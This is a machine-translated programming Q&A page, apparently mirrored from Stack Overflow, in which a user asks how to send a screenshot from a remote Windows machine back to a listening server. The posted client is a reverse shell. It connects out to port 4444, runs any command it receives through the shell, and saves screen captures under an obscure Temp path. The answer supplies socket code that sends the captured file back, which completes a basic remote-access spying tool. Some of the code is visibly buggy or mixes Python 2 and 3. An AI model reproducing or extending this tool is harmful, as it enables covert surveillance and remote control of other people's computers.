簡體   English   中英

如何在遠程Windows機器上截取屏幕截圖並將其發回?

[英]How would I take a screenshot on a remote Windows machine and send it back?

我正試圖在遠程Windows機器上截取屏幕截圖。 例如,當您在服務器上輸入命令“screenshot”時,它會在客戶端計算機上截取屏幕截圖,將其保存到目錄中,然后將其發送回服務器。 我已經弄清楚了第一部分,但無法弄清楚如何將已保存的文件發回。

服務器:

import socket
import sys
import subprocess

host = '192.168.1.25'
port = 4444
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

s.bind((host, port))
s.listen(1)

conn, addr = s.accept()
sendCommands(conn)

def sendCommands(conn):
    cmd = input('console > ')

    if len(str.encode(cmd)) > 0:
        conn.send(str.encode(cmd))
        clientResponse = str(conn.recv(1024), "utf-8")
        print('\n' + clientResponse, end="")

客戶:

import os
import sys
import subprocess
import socket
import autopy

def socketCreate():
    global host
    global port
    global s
    host = '192.168.1.25'
    port = 4444
    s = socket.socket()

def socketConnect():
    global host
    global port
    global s
    s.connect((host, port))

def recieveCommands():
    global s
    while True:
        data = s.recv(1024)
        if data[:].decode("utf-8") == 'screenshot':
            path = r'C:\Windows\Temp\LocalCustom\ssh\new\custom'
            screenshot = r'\screenshot.png'
            if not os.path.exists(path):
                os.makedirs(path)
            try:
                bitmap = autopy.bitmap.capture_screen()
                bitmap.save(path + screenshot)
                tookScreenShot = ('\n' + '[*] Succesfuly took screenshot at ' + path + '\n')
                s.send(str.encode(tookScreenShot))
            except:
                screenshotFailed = ('\n' + "[!] Couldn't take screenshot " + '\n')
                str(screenshotFailed)
                s.send(str.encode(screenshotFailed))
        else:
            if len(data) > 0:
                cmd = subprocess.Popen(data[:].decode('utf-8'), shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
                output_bytes = cmd.stdout.read() + cmd.stderr.read()
                output_str = str(output_bytes, "utf-8")
                s.send(str.encode("utf-8"))
    s.close()

def main():
    socketCreate()
    socketConnect()
    recieveCommands()

main()

您應該從客戶端發送以下內容

f = open('tosend.jpg','rb')
print 'Sending the file'
file = f.read(1024)
while (file):
    print 'Sending...'
    s.send(file)
    file = f.read(1024)
f.close()

print "Done Sending"
s.shutdown(socket.SHUT_WR)
print s.recv(1024)
s.close() 

在服務器上

while True:
     file = open('C:/received.jpg','w')
     l = s.recv(1024)
     while l:
         print "Receiving..."
         file.write(l)
         l = s.recv(1024)
     file.close()
     print "Done Receiving"
     s.close()

暫無
暫無

聲明:本站的技術帖子網頁,遵循CC BY-SA 4.0協議,如果您需要轉載,請注明本站網址或者原文地址。任何問題請咨詢:yoyou2525@163.com.

 
粵ICP備18138465號  © 2020-2024 STACKOOM.COM